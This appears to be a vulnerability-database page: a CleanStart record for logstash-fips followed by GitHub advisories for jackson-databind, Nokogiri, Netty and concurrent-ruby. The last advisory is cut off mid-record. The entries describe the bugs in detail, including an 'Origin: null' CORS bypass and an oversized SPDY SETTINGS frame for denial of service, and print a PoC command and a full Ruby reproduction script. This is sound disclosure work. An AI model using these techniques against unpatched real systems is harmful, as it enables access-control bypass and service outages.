Action not permitted
Modal body text goes here.
Modal Title
Modal Body
Vulnerability from cleanstart
Package logstash-fips version 9.4.3-r1 fixes 76 vulnerabilities: CVE-2026-55831, CVE-2026-55833, CVE-2026-56745, CVE-2026-50020, CVE-2026-56746...
| URL | Type | |
|---|---|---|
{
"affected": [
{
"package": {
"ecosystem": "Alpine",
"name": "logstash-fips"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "9.4.3-r1"
}
],
"type": "ECOSYSTEM"
}
],
"versions": [
"9.4.3-r1"
]
}
],
"credits": [],
"database_specific": {},
"details": "Package logstash-fips version 9.4.3-r1 fixes 76 vulnerabilities: CVE-2026-55831, CVE-2026-55833, CVE-2026-56745, CVE-2026-50020, CVE-2026-56746...",
"id": "CLEANSTART-2026-VR87787",
"modified": "2026-08-14T05:57:01Z",
"published": "2026-08-13T12:10:09Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/elastic/logstash"
}
],
"related": [],
"schema_version": "1.7.3",
"summary": "Security fixes in logstash-fips 9.4.3-r1",
"upstream": [
"CVE-2026-55831",
"CVE-2026-55833",
"CVE-2026-56745",
"CVE-2026-50020",
"CVE-2026-56746",
"CVE-2026-59898",
"CVE-2026-59899",
"CVE-2026-59921",
"ghsa-jppx-w49h-x2qq",
"ghsa-6jqx-86gh-f27w",
"ghsa-mvh2-crg5-v77c",
"ghsa-6cqp-g7gg-8hr5",
"ghsa-4mp9-239f-g9hg",
"ghsa-gcjf-9mgh-3p7g",
"ghsa-q4f6-jm68-57ww",
"ghsa-hvcg-qmg6-jm4c",
"CVE-2026-59901",
"ghsa-558v-64gr-wgg4",
"CVE-2026-54512",
"CVE-2026-54513",
"CVE-2026-54514",
"CVE-2026-54515",
"CVE-2026-59888",
"CVE-2026-54516",
"CVE-2026-54517",
"CVE-2026-54518",
"CVE-2026-59889",
"ghsa-5gvw-p9qm-jgwh",
"ghsa-5hh8-q8hv-fr38",
"ghsa-rcqc-6cw3-h962",
"ghsa-9fxm-vc8v-hj55",
"ghsa-mhm7-754m-9p8w",
"ghsa-j3rv-43j4-c7qm",
"ghsa-rmj7-2vxq-3g9f",
"ghsa-5jmj-h7xm-6q6v",
"ghsa-3pjw-73gf-8qr5",
"ghsa-hgj6-7826-r7m5",
"CVE-2025-14813",
"CVE-2026-0636",
"CVE-2026-5598",
"ghsa-574f-3g2m-x479",
"ghsa-p93r-85wp-75v3",
"ghsa-c3fc-8qff-9hwx",
"CVE-2026-5588",
"ghsa-wg6q-6289-32hp",
"ghsa-r7wm-3cxj-wff9",
"ghsa-72hv-8253-57qq",
"CVE-2026-59949",
"ghsa-xx22-p4ch-683r",
"CVE-2026-47240",
"CVE-2026-47242",
"CVE-2026-47241",
"ghsa-8p34-64r3-mwg8",
"ghsa-46q3-7gv7-qmgg",
"ghsa-c4fp-cxrr-mj66",
"CVE-2026-47736",
"CVE-2026-47737",
"ghsa-qpgp-93vx-g8v8",
"ghsa-2vqw-3mp8-cgmx",
"CVE-2026-54906",
"CVE-2026-54904",
"CVE-2026-54905",
"ghsa-h8w8-99g7-qmvj",
"ghsa-6wx8-w4f5-wwcr",
"ghsa-wv3x-4vxv-whpp",
"CVE-2026-54696",
"ghsa-x2f5-4prf-w687",
"ghsa-5prr-v3j2-97mh",
"ghsa-5v8h-3h3q-446p",
"ghsa-8678-w3jw-xfc2",
"ghsa-9cv2-cfxc-v4v2",
"ghsa-p67v-3w7g-wjg7",
"ghsa-phwj-rprq-35pp",
"ghsa-wfpw-mmfh-qq69",
"ghsa-wjv4-x9w8-wm3h",
"ghsa-g9g8-vgvw-g3vf"
]
}
GHSA-5JMJ-H7XM-6Q6V
Vulnerability from github – Published: 2026-06-23 21:23 – Updated: 2026-07-16 21:25Summary
In BeanDeserializerBase.createContextual(), per-property @JsonIgnoreProperties exclusions are applied by _handleByNameInclusion(), producing a contextual deserializer whose BeanPropertyMap has the ignored properties removed. The subsequent per-property case-insensitivity block (triggered by @JsonFormat(ACCEPT_CASE_INSENSITIVE_PROPERTIES)) rebuilds from this._beanProperties (the original, unfiltered map) instead of contextual._beanProperties, then overwrites the filtered map — restoring every property _handleByNameInclusion had just removed. The ignored property becomes writable again.
Impact
An application that both enables case-insensitive matching and relies on per-property @JsonIgnoreProperties to keep a field unwritable can have that field set from untrusted JSON (mass-assignment-style write).
Affected / Patched
Will be fixed in 2.18.9, 2.21.5, 2.22.1 and 3.1.4.
Severity / CWE
Maintainer: minor. Reporter: Moderate. CWE-915.
Upstream fix
FasterXML/jackson-databind#5962 (PR #5964, 0e1b0b2), milestone 3.1.4. Released 2026-06-04.
{
"affected": [
{
"package": {
"ecosystem": "Maven",
"name": "com.fasterxml.jackson.core:jackson-databind"
},
"ranges": [
{
"events": [
{
"introduced": "3.1.0"
},
{
"fixed": "3.1.4"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Maven",
"name": "tools.jackson.core:jackson-databind"
},
"ranges": [
{
"events": [
{
"introduced": "3.1.0"
},
{
"fixed": "3.1.4"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Maven",
"name": "com.fasterxml.jackson.core:jackson-databind"
},
"ranges": [
{
"events": [
{
"introduced": "2.8.0"
},
{
"fixed": "2.18.9"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Maven",
"name": "com.fasterxml.jackson.core:jackson-databind"
},
"ranges": [
{
"events": [
{
"introduced": "2.19.0"
},
{
"fixed": "2.21.5"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Maven",
"name": "com.fasterxml.jackson.core:jackson-databind"
},
"ranges": [
{
"events": [
{
"introduced": "2.22.0"
},
{
"fixed": "2.22.1"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-54515"
],
"database_specific": {
"cwe_ids": [
"CWE-915"
],
"github_reviewed": true,
"github_reviewed_at": "2026-06-23T21:23:58Z",
"nvd_published_at": "2026-06-23T21:17:02Z",
"severity": "MODERATE"
},
"details": "## Summary\nIn `BeanDeserializerBase.createContextual()`, per-property `@JsonIgnoreProperties` exclusions are applied by `_handleByNameInclusion()`, producing a `contextual` deserializer whose `BeanPropertyMap` has the ignored properties removed. The subsequent per-property case-insensitivity block (triggered by `@JsonFormat(ACCEPT_CASE_INSENSITIVE_PROPERTIES)`) rebuilds from `this._beanProperties` (the original, unfiltered map) instead of `contextual._beanProperties`, then overwrites the filtered map \u2014 restoring every property `_handleByNameInclusion` had just removed. The ignored property becomes writable again.\n\n## Impact\nAn application that both enables case-insensitive matching and relies on per-property `@JsonIgnoreProperties` to keep a field unwritable can have that field set from untrusted JSON (mass-assignment-style write).\n\n## Affected / Patched\nWill be fixed in 2.18.9, 2.21.5, 2.22.1 and 3.1.4.\n\n## Severity / CWE\nMaintainer: minor. Reporter: Moderate. CWE-915.\n\n## Upstream fix\nFasterXML/jackson-databind#5962 (PR #5964, `0e1b0b2`), milestone 3.1.4. Released 2026-06-04.",
"id": "GHSA-5jmj-h7xm-6q6v",
"modified": "2026-07-16T21:25:45Z",
"published": "2026-06-23T21:23:58Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/FasterXML/jackson-databind/security/advisories/GHSA-5jmj-h7xm-6q6v"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-54515"
},
{
"type": "WEB",
"url": "https://github.com/FasterXML/jackson-databind/issues/5962"
},
{
"type": "WEB",
"url": "https://github.com/FasterXML/jackson-databind/issues/5964"
},
{
"type": "WEB",
"url": "https://github.com/FasterXML/jackson-databind/commit/0e1b0b211f7a53baa62ba2f4c9bd006c7bf4d5fa"
},
{
"type": "PACKAGE",
"url": "https://github.com/FasterXML/jackson-databind"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N",
"type": "CVSS_V3"
}
],
"summary": "jackson-databind has case-insensitive deserialization bypasses per-property @JsonIgnoreProperties"
}
GHSA-5PRR-V3J2-97MH
Vulnerability from github – Published: 2026-06-19 16:36 – Updated: 2026-06-19 16:36Summary
Nokogiri::XML::NodeSet#[] (and its alias #slice) checked the requested index against the node set's bounds using a 32-bit-truncated copy of the index. A large negative index could pass the check and then be used at full width, reading outside the node set's storage. On CRuby this is an out-of-bounds read that typically crashes the process; on JRuby it is not memory-unsafe but returns an incorrect node.
Nokogiri 1.19.4 performs the bounds check against the full-width index.
Severity
The Nokogiri maintainers have evaluated this as medium severity.
Exploitation requires an application to pass an attacker-controlled integer to NodeSet#[]. The primary impact is a controlled crash (denial of service), with potential for memory disclosure on CRuby.
On JRuby, Nokogiri is not affected by this vulnerability.
Mitigation
Upgrade to Nokogiri 1.19.4 or later.
As a workaround, applications that index a NodeSet with externally-supplied integers can validate the index against node_set.length before use, or avoid passing untrusted values as an index.
Credit
This issue was responsibly reported by Zheng Yu from depthfirst.com.
{
"affected": [
{
"package": {
"ecosystem": "RubyGems",
"name": "nokogiri"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "1.19.4"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [],
"database_specific": {
"cwe_ids": [
"CWE-125",
"CWE-190"
],
"github_reviewed": true,
"github_reviewed_at": "2026-06-19T16:36:42Z",
"nvd_published_at": null,
"severity": "MODERATE"
},
"details": "### Summary\n\n`Nokogiri::XML::NodeSet#[]` (and its alias `#slice`) checked the requested index against the node set\u0027s bounds using a 32-bit-truncated copy of the index. A large negative index could pass the check and then be used at full width, reading outside the node set\u0027s storage. On CRuby this is an out-of-bounds read that typically crashes the process; on JRuby it is not memory-unsafe but returns an incorrect node.\n\nNokogiri 1.19.4 performs the bounds check against the full-width index.\n\n### Severity\n\nThe Nokogiri maintainers have evaluated this as medium severity.\n\nExploitation requires an application to pass an attacker-controlled integer to `NodeSet#[]`. The primary impact is a controlled crash (denial of service), with potential for memory disclosure on CRuby.\n\nOn JRuby, Nokogiri is not affected by this vulnerability.\n\n### Mitigation\n\nUpgrade to Nokogiri 1.19.4 or later.\n\nAs a workaround, applications that index a `NodeSet` with externally-supplied integers can validate the index against `node_set.length` before use, or avoid passing untrusted values as an index.\n\n### Credit\n\nThis issue was responsibly reported by Zheng Yu from depthfirst.com.",
"id": "GHSA-5prr-v3j2-97mh",
"modified": "2026-06-19T16:36:42Z",
"published": "2026-06-19T16:36:42Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/sparklemotion/nokogiri/security/advisories/GHSA-5prr-v3j2-97mh"
},
{
"type": "PACKAGE",
"url": "https://github.com/sparklemotion/nokogiri"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:L/VI:N/VA:L/SC:N/SI:N/SA:N",
"type": "CVSS_V4"
}
],
"summary": "Nokogiri: Possible Out-of-Bounds Read in `Nokogiri::XML::NodeSet#[]`"
}
GHSA-5V8H-3H3Q-446P
Vulnerability from github – Published: 2026-06-19 16:35 – Updated: 2026-06-19 16:35Summary
Calling Document#encoding= with an invalid encoding (e.g., a non-string, or a string containing a null byte) raises an exception, but only after freeing the document's current encoding string without replacing it. The document is left referencing freed memory, so the next call to Document#encoding reads invalid memory, which can cause a segfault or leak freed bytes into a Ruby String.
Affects the CRuby (libxml2) implementation only; JRuby is not affected.
Severity
The Nokogiri maintainers have evaluated this as low severity. Reaching it requires an unusual API-usage pattern that does not arise during normal use. The application must pass an invalid encoding to Document#encoding=, rescue the resulting exception, and then continue using the same document. Nokogiri 1.19.4 makes this pattern safe with no change to the public API. The document no longer references freed memory after the exception is raised.
Mitigation
Upgrade to Nokogiri 1.19.4 or later.
If users are unable to upgrade, avoid passing attacker-controlled values to Document#encoding=. Applications that only assign developer-authored encodings are not directly exposed.
Credit
This issue was responsibly reported by Zheng Yu from depthfirst.com.
{
"affected": [
{
"package": {
"ecosystem": "RubyGems",
"name": "nokogiri"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "1.19.4"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [],
"database_specific": {
"cwe_ids": [
"CWE-416"
],
"github_reviewed": true,
"github_reviewed_at": "2026-06-19T16:35:58Z",
"nvd_published_at": null,
"severity": "LOW"
},
"details": "### Summary\n\nCalling `Document#encoding=` with an invalid encoding (e.g., a non-string, or a string containing a null byte) raises an exception, but only after freeing the document\u0027s current encoding string without replacing it. The document is left referencing freed memory, so the next call to `Document#encoding` reads invalid memory, which can cause a segfault or leak freed bytes into a Ruby `String`.\n\nAffects the CRuby (libxml2) implementation only; JRuby is not affected.\n\n### Severity\n\nThe Nokogiri maintainers have evaluated this as low severity. Reaching it requires an unusual API-usage pattern that does not arise during normal use. The application must pass an invalid encoding to `Document#encoding=`, rescue the resulting exception, and then continue using the same document. Nokogiri 1.19.4 makes this pattern safe with no change to the public API. The document no longer references freed memory after the exception is raised.\n\n### Mitigation\n\nUpgrade to Nokogiri 1.19.4 or later.\n\nIf users are unable to upgrade, avoid passing attacker-controlled values to `Document#encoding=`. Applications that only assign developer-authored encodings are not directly exposed.\n\n### Credit\n\nThis issue was responsibly reported by Zheng Yu from depthfirst.com.",
"id": "GHSA-5v8h-3h3q-446p",
"modified": "2026-06-19T16:35:58Z",
"published": "2026-06-19T16:35:58Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/sparklemotion/nokogiri/security/advisories/GHSA-5v8h-3h3q-446p"
},
{
"type": "PACKAGE",
"url": "https://github.com/sparklemotion/nokogiri"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N/E:U",
"type": "CVSS_V4"
}
],
"summary": "Nokogiri: Possible Use-After-Free when `Nokogiri::XML::Document#encoding=` raises an exception"
}
GHSA-6CQP-G7GG-8HR5
Vulnerability from github – Published: 2026-07-22 21:42 – Updated: 2026-07-22 21:42Summary
Netty's CorsHandler provides a shortCircuit() configuration designed to reject unauthorized cross-origin requests immediately, acting as a security control before requests reach the application. However, due to a logical operator error in the origin evaluation process, this protection can be entirely bypassed. An attacker can bypass the short-circuit mechanism by sending a request with an Origin: null header. This failure forwards unauthorized requests to the backend application, bypassing intended access controls.
Details
In io.netty.handler.codec.http.cors.CorsHandler#channelRead, the short-circuit logic relies on the configuration returned by getForOrigin(origin) to determine if an origin is authorized. If getForOrigin returns a configuration object, the short-circuit check (!(origin == null || config != null)) is bypassed, and the request proceeds to the backend.
The vulnerability is located in the getForOrigin method:
if (corsConfig.isNullOriginAllowed() || NULL_ORIGIN.equals(requestOrigin)) {
return corsConfig;
}
If an attacker sends Origin: null, NULL_ORIGIN.equals(requestOrigin) evaluates to true. The method returns the configuration object regardless of whether isNullOriginAllowed() was configured by the developer. The short-circuit is bypassed.
Impact
Applications relying on CorsHandler's short-circuit feature to prevent unauthorized cross-origin requests from reaching their backend logic are completely exposed. The framework fails to enforce the developer's intended access controls, allowing unauthorized requests to be processed.
{
"affected": [
{
"package": {
"ecosystem": "Maven",
"name": "io.netty:netty-codec-http"
},
"ranges": [
{
"events": [
{
"introduced": "4.2.0.Final"
},
{
"fixed": "4.2.16.Final"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Maven",
"name": "io.netty:netty-codec-http"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "4.1.136.Final"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-56746"
],
"database_specific": {
"cwe_ids": [
"CWE-284"
],
"github_reviewed": true,
"github_reviewed_at": "2026-07-22T21:42:17Z",
"nvd_published_at": "2026-07-21T22:17:14Z",
"severity": "MODERATE"
},
"details": "### Summary\nNetty\u0027s CorsHandler provides a `shortCircuit()` configuration designed to reject unauthorized cross-origin requests immediately, acting as a security control before requests reach the application. However, due to a logical operator error in the origin evaluation process, this protection can be entirely bypassed. An attacker can bypass the short-circuit mechanism by sending a request with an `Origin: null` header. This failure forwards unauthorized requests to the backend application, bypassing intended access controls.\n\n### Details\nIn `io.netty.handler.codec.http.cors.CorsHandler#channelRead`, the short-circuit logic relies on the configuration returned by `getForOrigin(origin)` to determine if an origin is authorized. If `getForOrigin` returns a configuration object, the short-circuit check `(!(origin == null || config != null))` is bypassed, and the request proceeds to the backend.\n\nThe vulnerability is located in the `getForOrigin` method:\n\n```java\n if (corsConfig.isNullOriginAllowed() || NULL_ORIGIN.equals(requestOrigin)) {\n return corsConfig;\n }\n```\n\nIf an attacker sends `Origin: null`, `NULL_ORIGIN.equals(requestOrigin)` evaluates to true. The method returns the configuration object regardless of whether `isNullOriginAllowed()` was configured by the developer. The short-circuit is bypassed.\n\n### Impact\nApplications relying on CorsHandler\u0027s short-circuit feature to prevent unauthorized cross-origin requests from reaching their backend logic are completely exposed. The framework fails to enforce the developer\u0027s intended access controls, allowing unauthorized requests to be processed.",
"id": "GHSA-6cqp-g7gg-8hr5",
"modified": "2026-07-22T21:42:17Z",
"published": "2026-07-22T21:42:17Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/netty/netty/security/advisories/GHSA-6cqp-g7gg-8hr5"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-56746"
},
{
"type": "PACKAGE",
"url": "https://github.com/netty/netty"
},
{
"type": "WEB",
"url": "https://github.com/netty/netty/releases/tag/netty-4.1.136.Final"
},
{
"type": "WEB",
"url": "https://github.com/netty/netty/releases/tag/netty-4.2.16.Final"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:H/A:N",
"type": "CVSS_V3"
}
],
"summary": "Netty: Security Control Bypass via CORS Short-Circuit Failure"
}
GHSA-6JQX-86GH-F27W
Vulnerability from github – Published: 2026-07-22 21:07 – Updated: 2026-07-22 21:07Summary
Netty's SPDY SETTINGS decoder accepts a peer-declared SETTINGS entry count up to the 24-bit frame-length limit and materializes every unique setting ID in DefaultSpdySettingsFrame without an implementation-level count cap. A remote SPDY/3.1 peer can send one syntactically valid roughly 2 MiB SETTINGS frame that creates 262144 map entries, amplifying network input into heap growth and ordered-map insertion work.
Details
Inbound SPDY bytes enter SpdyFrameCodec.decode() and are passed directly to the frame decoder. The decoder reads the peer-controlled flags and 24-bit frame length from the common header, then accepts SETTINGS frames with only length >= 4. For SETTINGS payloads, it reads the peer-controlled numSettings field and validates only that the remaining payload is divisible into 8-byte entries and exactly matches that count. Each accepted entry then supplies an attacker-controlled 24-bit ID and value, and the normal delegate path forwards it into spdySettingsFrame.setValue(). The sink is DefaultSpdySettingsFrame: it backs settings with a TreeMap, checks only that IDs fit the SPDY 24-bit maximum, and inserts a new Setting for each previously unseen ID. There is no count budget between the wire-format count validation and the TreeMap insertion site.
PoC
run with
bash ./poc/run.sh
expected output:
NETTY_SPDY_SETTINGS_COUNT_MAP_TRIGGERED settings_count=262144 wire_bytes=2097164 approx_heap_delta=17692272 first_value=1 last_value=262144
The NETTY_SPDY_SETTINGS_COUNT_MAP_TRIGGERED line means the harness decoded the crafted SETTINGS frame and observed all 262144 peer-selected IDs in the resulting settings map. The wire_bytes=2097164, first_value=1, and last_value=262144 fields distinguish this from a setup failure: they show the exact oversized frame was accepted and fully materialized.
Impact
remote unauthenticated network peer that can speak SPDY/3.1 to a Netty pipeline containing SpdyFrameCodec can trigger resource-exhaustion denial of service. The required guards are satisfied by a complete valid SETTINGS frame using the expected SPDY version, a length of 4 + numSettings * 8, and IDs within the accepted 24-bit range; the verified PoC uses numSettings=262144 and wire_bytes=2097164. On that input, Netty materializes 262144 attacker-controlled entries in a TreeMap-backed DefaultSpdySettingsFrame, with local runs observing about 17-18 MiB of heap growth per decoded frame plus CPU work for ordered-map insertion.
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 4.2.15.Final"
},
"package": {
"ecosystem": "Maven",
"name": "io.netty:netty-codec-http"
},
"ranges": [
{
"events": [
{
"introduced": "4.2.0.Final"
},
{
"fixed": "4.2.16.Final"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 4.1.135.Final"
},
"package": {
"ecosystem": "Maven",
"name": "io.netty:netty-codec-http"
},
"ranges": [
{
"events": [
{
"introduced": "4.1.0.Final"
},
{
"fixed": "4.1.136.Final"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-55831"
],
"database_specific": {
"cwe_ids": [
"CWE-400"
],
"github_reviewed": true,
"github_reviewed_at": "2026-07-22T21:07:36Z",
"nvd_published_at": "2026-07-21T00:17:35Z",
"severity": "HIGH"
},
"details": "### Summary\nNetty\u0027s SPDY SETTINGS decoder accepts a peer-declared SETTINGS entry count up to the 24-bit frame-length limit and materializes every unique setting ID in `DefaultSpdySettingsFrame` without an implementation-level count cap. A remote SPDY/3.1 peer can send one syntactically valid roughly 2 MiB SETTINGS frame that creates 262144 map entries, amplifying network input into heap growth and ordered-map insertion work.\n\n### Details\nInbound SPDY bytes enter `SpdyFrameCodec.decode()` and are passed directly to the frame decoder. The decoder reads the peer-controlled flags and 24-bit frame length from the common header, then accepts SETTINGS frames with only `length \u003e= 4`. For SETTINGS payloads, it reads the peer-controlled `numSettings` field and validates only that the remaining payload is divisible into 8-byte entries and exactly matches that count. Each accepted entry then supplies an attacker-controlled 24-bit ID and value, and the normal delegate path forwards it into `spdySettingsFrame.setValue()`. The sink is `DefaultSpdySettingsFrame`: it backs settings with a `TreeMap`, checks only that IDs fit the SPDY 24-bit maximum, and inserts a new `Setting` for each previously unseen ID. There is no count budget between the wire-format count validation and the TreeMap insertion site.\n\n### PoC\n[poc.zip](https://github.com/user-attachments/files/28445737/poc.zip)\n\nrun with\n```bash\nbash ./poc/run.sh\n```\n\nexpected output:\n```text\nNETTY_SPDY_SETTINGS_COUNT_MAP_TRIGGERED settings_count=262144 wire_bytes=2097164 approx_heap_delta=17692272 first_value=1 last_value=262144\n```\n\nThe `NETTY_SPDY_SETTINGS_COUNT_MAP_TRIGGERED` line means the harness decoded the crafted SETTINGS frame and observed all 262144 peer-selected IDs in the resulting settings map. The `wire_bytes=2097164`, `first_value=1`, and `last_value=262144` fields distinguish this from a setup failure: they show the exact oversized frame was accepted and fully materialized.\n\n### Impact\n remote unauthenticated network peer that can speak SPDY/3.1 to a Netty pipeline containing `SpdyFrameCodec` can trigger resource-exhaustion denial of service. The required guards are satisfied by a complete valid SETTINGS frame using the expected SPDY version, a length of `4 + numSettings * 8`, and IDs within the accepted 24-bit range; the verified PoC uses `numSettings=262144` and `wire_bytes=2097164`. On that input, Netty materializes 262144 attacker-controlled entries in a TreeMap-backed `DefaultSpdySettingsFrame`, with local runs observing about 17-18 MiB of heap growth per decoded frame plus CPU work for ordered-map insertion.",
"id": "GHSA-6jqx-86gh-f27w",
"modified": "2026-07-22T21:07:36Z",
"published": "2026-07-22T21:07:36Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/netty/netty/security/advisories/GHSA-6jqx-86gh-f27w"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-55831"
},
{
"type": "WEB",
"url": "https://github.com/netty/netty/commit/5b68c61f37aa4a3045cba624cbea239655c9003b"
},
{
"type": "WEB",
"url": "https://github.com/netty/netty/commit/bb2ff68a1fb71cb4b0eb9a9e17b66c52aff680c6"
},
{
"type": "PACKAGE",
"url": "https://github.com/netty/netty"
},
{
"type": "WEB",
"url": "https://github.com/netty/netty/releases/tag/netty-4.1.136.Final"
},
{
"type": "WEB",
"url": "https://github.com/netty/netty/releases/tag/netty-4.2.16.Final"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
}
],
"summary": "Netty SPDY SETTINGS frame count materializes unbounded settings map"
}
GHSA-6WX8-W4F5-WWCR
Vulnerability from github – Published: 2026-06-19 20:47 – Updated: 2026-06-19 20:47Summary
Concurrent::ReadWriteLock#release_write_lock does not verify that the calling thread acquired the write lock. Any thread with access to the lock object can release an active write lock held by another thread. A second writer can then enter its critical section while the first writer is still running.
Concurrent::ReadWriteLock#release_read_lock also decrements the shared counter even when no read lock is held. Calling it on a fresh lock changes the counter from 0 to -1, after which normal read acquisition raises Concurrent::ResourceLimitError.
This is a synchronization correctness issue in the public Concurrent::ReadWriteLock API. It should not be framed as an authorization bypass; the lock is an in-process concurrency primitive, not an access-control boundary.
Version
Software: concurrent-ruby Version: 1.3.6 Commit: 7a1b78941c081106c20a9ca0144ac73a48d254ab
Details
release_write_lock checks only whether the global counter indicates that a writer is running. It does not track or verify ownership:
def release_write_lock
return true unless running_writer?
c = @Counter.update { |counter| counter - RUNNING_WRITER }
@ReadLock.broadcast
@WriteLock.signal if waiting_writers(c) > 0
true
end
Because ownership is not checked, a different thread can clear the RUNNING_WRITER bit while the original writer is still inside its critical section. Another writer can then acquire the write lock and run concurrently with the first writer.
release_read_lock unconditionally decrements the shared counter:
def release_read_lock
while true
c = @Counter.value
if @Counter.compare_and_set(c, c-1)
if waiting_writer?(c) && running_readers(c) == 1
@WriteLock.signal
end
break
end
end
true
end
On a fresh lock, this changes the counter from 0 to -1. A later acquire_read_lock raises Concurrent::ResourceLimitError because the maximum-reader check masks the negative counter as saturated.
Reproduce
From the root of a concurrent-ruby checkout, run:
ruby -Ilib/concurrent-ruby - <<'RUBY'
require 'concurrent/atomic/read_write_lock'
require 'concurrent/version'
require 'thread'
puts "ruby=#{RUBY_DESCRIPTION}"
puts "concurrent_ruby_version=#{Concurrent::VERSION}"
puts "poc=ReadWriteLock release methods corrupt or bypass lock state"
lock = Concurrent::ReadWriteLock.new
events = Queue.new
writer1_inside = false
writer1 = Thread.new do
lock.acquire_write_lock
writer1_inside = true
events << :writer1_acquired
sleep 0.5
writer1_inside = false
lock.release_write_lock
events << :writer1_finished
end
events.pop
puts 'writer1_acquired=true'
intruder_result = nil
intruder = Thread.new do
intruder_result = lock.release_write_lock
end
intruder.join
puts "wrong_thread_release_write_lock_returned=#{intruder_result}"
writer2_entered_while_writer1_inside = nil
writer2 = Thread.new do
lock.acquire_write_lock
writer2_entered_while_writer1_inside = writer1_inside
lock.release_write_lock
end
writer2.join(0.25)
puts "writer2_acquired_while_writer1_inside=#{writer2_entered_while_writer1_inside}"
writer1.join
lock2 = Concurrent::ReadWriteLock.new
stray_read_release_result = lock2.release_read_lock
counter_after_stray_read_release = lock2.instance_eval { @Counter.value }
read_after_stray_release = begin
lock2.acquire_read_lock
'acquired'
rescue => error
"#{error.class}: #{error.message}"
end
puts "stray_release_read_lock_returned=#{stray_read_release_result}"
puts "counter_after_stray_read_release=#{counter_after_stray_read_release}"
puts "acquire_read_after_stray_release=#{read_after_stray_release}"
if intruder_result && writer2_entered_while_writer1_inside && counter_after_stray_read_release == -1
puts 'result=REPRODUCED wrong-thread write release and stray read-release corruption'
else
puts 'result=NOT_REPRODUCED'
end
Expected result:
- A second thread successfully calls
release_write_lockwhile the first writer still holds the lock. - A second writer enters while the first writer is still inside the write critical section.
- Calling
release_read_lockon a fresh lock changes the counter to-1. - A subsequent read acquisition fails with
Concurrent::ResourceLimitError.
Log evidence
Local reproduction output:
ruby=ruby 2.6.10p210 (2022-04-12 revision 67958) [universal.arm64e-darwin25]
concurrent_ruby_version=1.3.6
poc=ReadWriteLock release methods corrupt or bypass lock state
writer1_acquired=true
wrong_thread_release_write_lock_returned=true
writer2_acquired_while_writer1_inside=true
stray_release_read_lock_returned=true
counter_after_stray_read_release=-1
acquire_read_after_stray_release=Concurrent::ResourceLimitError: Too many reader threads
result=REPRODUCED wrong-thread write release and stray read-release corruption
Impact
This can break the write-lock mutual exclusion guarantee and can also leave a lock unusable after a stray read release.
The impact is local to applications that expose or misuse the manual acquire_* / release_* APIs. If the lock protects integrity-sensitive mutable state, wrong-thread write release can allow concurrent writers and data races. The stray read-release path can cause denial of service by corrupting the lock counter.
Credit
Pranjali Thakur - depthfirst (depthfirst.com)
{
"affected": [
{
"package": {
"ecosystem": "RubyGems",
"name": "concurrent-ruby"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "1.3.7"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-54906"
],
"database_specific": {
"cwe_ids": [
"CWE-414",
"CWE-667"
],
"github_reviewed": true,
"github_reviewed_at": "2026-06-19T20:47:41Z",
"nvd_published_at": null,
"severity": "LOW"
},
"details": "### Summary\n`Concurrent::ReadWriteLock#release_write_lock` does not verify that the calling thread acquired the write lock. Any thread with access to the lock object can release an active write lock held by another thread. A second writer can then enter its critical section while the first writer is still running.\n\n`Concurrent::ReadWriteLock#release_read_lock` also decrements the shared counter even when no read lock is held. Calling it on a fresh lock changes the counter from `0` to `-1`, after which normal read acquisition raises `Concurrent::ResourceLimitError`.\n\nThis is a synchronization correctness issue in the public `Concurrent::ReadWriteLock` API. It should not be framed as an authorization bypass; the lock is an in-process concurrency primitive, not an access-control boundary.\n\n### Version\nSoftware: concurrent-ruby\nVersion: 1.3.6\nCommit: 7a1b78941c081106c20a9ca0144ac73a48d254ab\n\n### Details\n\n`release_write_lock` checks only whether the global counter indicates that a writer is running. It does not track or verify ownership:\n\n```ruby\ndef release_write_lock\n return true unless running_writer?\n c = @Counter.update { |counter| counter - RUNNING_WRITER }\n @ReadLock.broadcast\n @WriteLock.signal if waiting_writers(c) \u003e 0\n true\nend\n```\n\nBecause ownership is not checked, a different thread can clear the 